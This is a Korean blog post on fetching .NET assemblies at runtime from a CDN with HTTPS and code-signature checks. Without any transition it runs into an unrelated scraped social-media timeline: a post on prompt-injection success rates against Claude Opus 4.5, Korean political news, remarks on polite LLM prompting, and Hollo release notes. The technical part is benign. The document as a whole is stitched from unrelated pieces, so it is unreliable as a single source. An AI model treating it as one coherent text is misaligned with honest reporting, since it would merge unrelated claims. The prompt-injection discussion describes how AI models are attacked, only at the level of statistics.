Windows (.NET) 기반으로 앱을 작성하다보면 빌드의 결과물로 주 실행파일인 *.exe 외에 수많은 *.dll 파일들이 기다리고 있다.

가령,

Program.exe   # 주 실행파일
a.dll    # 컴파일된 라이브러리 A
b.dll    # 컴파일된 라이브러리 B
c.dll    # 컴파일된 라이브러리 B
...

이런식으로 *.exe 파일을 보조하는 다양한 컴파일된 라이브러리(*.dll) 파일들이 생성되고, 배포시에도 이를 포함해야 한다. 이를 지칭하는 용어로 "DLL Hell"이라는 표현도 있다.

이러한 파일들을 하나로 합쳐주는 기존의 방법들(Costura.Fody, ILmerge, ILRepack 등)이 있지만 여기서 소개하는 방법은 이것과는 다르다.

어셈블리를 하나로 합치는건 권장사항이 아니다.

*.exe, *.dll 등 컴파일된 산출물을 Windows 환경에선 "어셈블리"라고 칭한다. 배포의 불편함때문에 이 어셈블리를 하나의 파일로 합치는 매우 다양한 방법이 존재한다.

앞서 언급한 병합 도구를 사용하는 방법도 있지만, 모든 추가 어셈블리를 압축하여 프로젝트 내에 넣어두는 방법 등 다양한 병합 방법이 있을 수 있다.

하지만 이러한 병합 방법은 생태계에서 충분히 합의된 방법을 사용한다기보단 개발자의 임기응변에 많이 의존하고 있기에, 결국 개발자 본인만 아는 병합 방법으로 남아 향후 협업에 걸림돌이 될 여지가 많다.

실제로 Microsoft는 어셈블리를 병합하는 예제를 공식적으로 제공하지 않으며, 이전에 공식 지원하던 ILmerge 도구의 경우 공식 지원까지 중단하였다.

정말 부득이한 상황이 아니라면 어셈블리는 파일 단위로 분리된 상태를 유지하며 배포할 것을 권장한다는 의미이다.

데이터 소스만 바꾸면 어떨까?

나는 어셈블리를 하나의 파일로 합치는 작업은 피하기로 결정하였다. 대신 그에 준하는 방법을 고민해보기로 했는데, 그 고민의 결과로 나온 것이 네트워크에서 동적으로 어셈블리를 받아내도록 하는 것이다.

C# 의 경우 라이브러리를 임포트하기 위해 다음과 같은 구문(using 문법)을 사용한다.

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using WelsonJS.Esent;

.NET의 경우 라이브러리 임포트 과정(using 키워드를 해결(resolve)하는 과정) 중간에 개입을 해서 프로그래밍이 가능하다.

나는 추가 어셈블리(*.dll) 발생의 최소화가 요구되는 앱의 using 키워드 해결 과정에 개입하여서 어셈블리를 해결하는 부분에 CDN(여기서는 Azure Blob Storage라는 Object Storage를 사용하였다.)를 연결하기로 했다.

*.dll 파일을 받아오는 경로가 이제부터는 로컬이 아닌 네트워크인 것이다.

적용하였을 때 만약에 발생할 수 있는 악용 사례를 최소화하기 위해, 유효한 코드 서명을 가진 어셈블리만 로드될 수 있도록 검증 과정을 추가하였다.

실제 구현은 아래 링크를 참고하면 된다.

이미 어셈블리가 같은 디렉토리에 존재하는 경우 네트워크에서 받아오지 않는다.

.NET IL로 컴파일된 어셈블리가 아닌, 네이티브(C/C++ 계열) 어셈블리인 경우도 처리되나?

네이티브(C/C++ 계열)로 컴파일된 어셈블리에도 대응하기 위한 구현이 AssemblyLoader.cs (gnh1201/welsonjs)에 포함되어 있다.

단, 라이브러리가 .NET IL (C# 등)으로 컴파일 되어있는 경우 자동으로 처리되지만 네이티브 라이브러리를 사용하는 경우 명시적으로 로드해야 한다.

위 내용이 반영된 예시

아래 코드를 Main 또는 이에 준하는 Entry point에서 실행함으로서 추가 어셈블리 로드가 시작된다.

// load external assemblies
AssemblyLoader.BaseUrl = GetAppConfig("AssemblyBaseUrl");
AssemblyLoader.Logger = _logger;
AssemblyLoader.Register();
AssemblyLoader.LoadNativeModules("MyNativeLib", new Version(1, 0, 0, 0), new[] { "MyNativeLib.dll" });

using 키워드로 요청되는 .NET IL 계열 어셈블리는 자동으로 찾아 로드한다. 네이티브 계열 어셈블리는 명시적으로 어셈블리 정보를 기입하여 어떤걸 로드해야하는지 정의한다.

어셈블리 해석 중 접속하게 되는 원격 네트워크 주소의 예시는 다음과 같다. Base URL이 https://example.cdn.tld/packages 일 때,

반드시 보안통신(https)이 지원되는 서버여야 하며, 모든 추가 어셈블리(*.dll)은 유효한 코드서명을 가지고 있어야 한다.

네트워크를 통한 어셈블리 동적 로딩을 쓰면 배포에 추가 어셈블리 포함 안해도 되나?

네트워크를 이용한 어셈블리 동적 로딩을 적용한다 하여도, 여전히 배포 시 추가 어셈블리(*.dll)을 함께 배포하는 것이 권장된다.

이 방법은 사용자가 Windows 앱의 배포 과정에 대해 이해가 부족하여, 추가 어셈블리(*.dll 등)을 누락하고 주 실행파일(*.exe)만 다른 컴퓨터로 옮겼을 때 발생하는 라이브러리 누락 오류를 해결하는데 도움을 주는 보조적인 방법으로 쓰여야 한다.

물론 이 방법을 쓰면 배포할 때 추가 어셈블리를 전혀 포함하지 않아도 자동으로 네트워크에서 받기 때문에 지장이 없다.

다만, 어디까지나 보조적인 방법이지 배포 시 무조건 추가 어셈블리를 포함하지 않아도 된다는 의미가 아니라는 점을 유념해야 한다.

Simon Willison's avatar
Simon Willison

@[email protected] · Reply to Simon Willison's post

Updated my post with this section about their improved protection against prompt injection attacks - definitely better, but the problem is that if an attacker gets 10 tries they'll still succeed 1/3rd of the time!
simonwillison.net/2025/Nov/24/

Still susceptible to prompt injection #

From the safety section of Anthropic’s announcement post:

    With Opus 4.5, we’ve made substantial progress in robustness against prompt injection attacks, which smuggle in deceptive instructions to fool the model into harmful behavior. Opus 4.5 is harder to trick with prompt injection than any other frontier model in the industry:

    Bar chart titled "Susceptibility to prompt-injection style attacks"

On the one hand this looks great, it’s a clear improvement over previous models and the competition.

What does the chart actually tell us though? It tells us that single attempts at prompt injection still work 1/20 times, and if an attacker can try ten different attacks that success rate goes up to 1/3!

I still don’t think training models not to fall for prompt injection is the way forward here. We continue to need to design our applications
ALT text detailsStill susceptible to prompt injection # From the safety section of Anthropic’s announcement post: With Opus 4.5, we’ve made substantial progress in robustness against prompt injection attacks, which smuggle in deceptive instructions to fool the model into harmful behavior. Opus 4.5 is harder to trick with prompt injection than any other frontier model in the industry: Bar chart titled "Susceptibility to prompt-injection style attacks" On the one hand this looks great, it’s a clear improvement over previous models and the competition. What does the chart actually tell us though? It tells us that single attempts at prompt injection still work 1/20 times, and if an attacker can try ten different attacks that success rate goes up to 1/3! I still don’t think training models not to fall for prompt injection is the way forward here. We continue to need to design our applications
염산하

@[email protected] · Reply to Woojin Kim's post

@me 어린이날!

나나나나미's avatar
나나나나미

@[email protected]

참의원 선거 약진한 극우정당, 여성 당원이 왜 많을까? ildaro.com/10319
"이처럼 정책의 중심에 성차별적 사상을 담으면서도, 여성당원을 전면에 드러내는 역설적인 전략은 지금 유럽 극우정당의 트렌드이기도 하다."
"이러한 모순을 설명하는 개념이 ‘페모내셔널리즘’(Femonationalism)이다. 이 개념은 여성의 권리와 안전을 지키겠다는 목적이, 이민자 배척이나 공권력(치안) 강화를 정당화하는 내셔널리즘(국가주의, 애국주의, 배외주의, 인종주의)에 이용되는 것을 가리킨다. 이민자 남성에 의한 성범죄는 크게 부각되고 규탄을 받는 반면, 자국 남성에 의한 성차별과 폭력은 경시되는 구조가 전형적이다."

복설 뉴스's avatar
복설 뉴스

@[email protected]

‘엡스틴 파일’ 공개된다…하원 반대 1표뿐, 상원은 만장일치 www.hani.co.kr/arti/interna... "앞서 트럼프 대통령은 법안 상정을 막기 위해 이를 추진 중이던 3명의 공화당 여성 의원에게 직접 전화를 걸고, 백악관 참모진을 동원해 위협성 경고까지 보냈다. 백악관은 ‘법무부 전체 자료 강제 공개 법안’을 본회의에 상정하는 청원서를 지지하는 것을 “행정부에 대한 적대 행위”로 간주하겠다고 경고하기도 했다. 뉴욕타임스는 “이러한 압박 작전은 오히려 역효과를 낳았다”고 전했다."

‘엡스틴 파일’ 공개된다…하원 반대 1표뿐, 상원은 만...

역설 :ICCO_logo_server:'s avatar
역설 :ICCO_logo_server:

@[email protected]

윤 구속기간이 1월 18일에 만료된다니 이게 무슨 소리야 아니 그보다 재판 담당이 아직도 지귀연이라니 끔찍하네 또 어영부영 풀어줄라고??
https://x.com/yoonoutaction/status/1990948566102388935

洪 民憙 (Hong Minhee) :nonbinary:'s avatar
洪 民憙 (Hong Minhee) :nonbinary:

@[email protected]

I try to be polite when I write prompts for LLMs. Especially in languages like Korean or Japanese that have grammatical honorifics, I make sure to use the formal, respectful form of speech (what's known as 敬語—gyeongeo or keigo). I joke with my friends that I'm using polite language early on to be pardoned for my sins when AI eventually takes over the world, but the real reason is that I don't want to get used to speaking to someone in a commanding tone. It makes me think I might start believing it's “okay” to order around certain intelligent beings, almost like condoning slavery.

Hollo :hollo:'s avatar
Hollo :hollo:

@[email protected]

0.7 brings a redesigned system with much better performance. We've moved from generating on-demand to storing them as they happen, which makes the notifications endpoint about 60% faster. We've also added response compression (though if you're using a reverse proxy, you probably had this already).

More notably, Hollo 0.7 implements Mastodon's v2 grouped notifications API. Notifications like favorites, follows, and reblogs targeting the same post or account are now grouped together server-side, reducing clutter. Clients that support the new API (introduced in 4.3) will show cleaner, more organized notifications automatically.

Hollo 0.7 is still in development, but we're excited to share it with you when it's ready!

염산하

@[email protected]

오오... MCP가 vscode 의 LSP에 영향을 받아서 비슷하다고...첨 알았네.

요즘 AI 에이전트 개발

Older →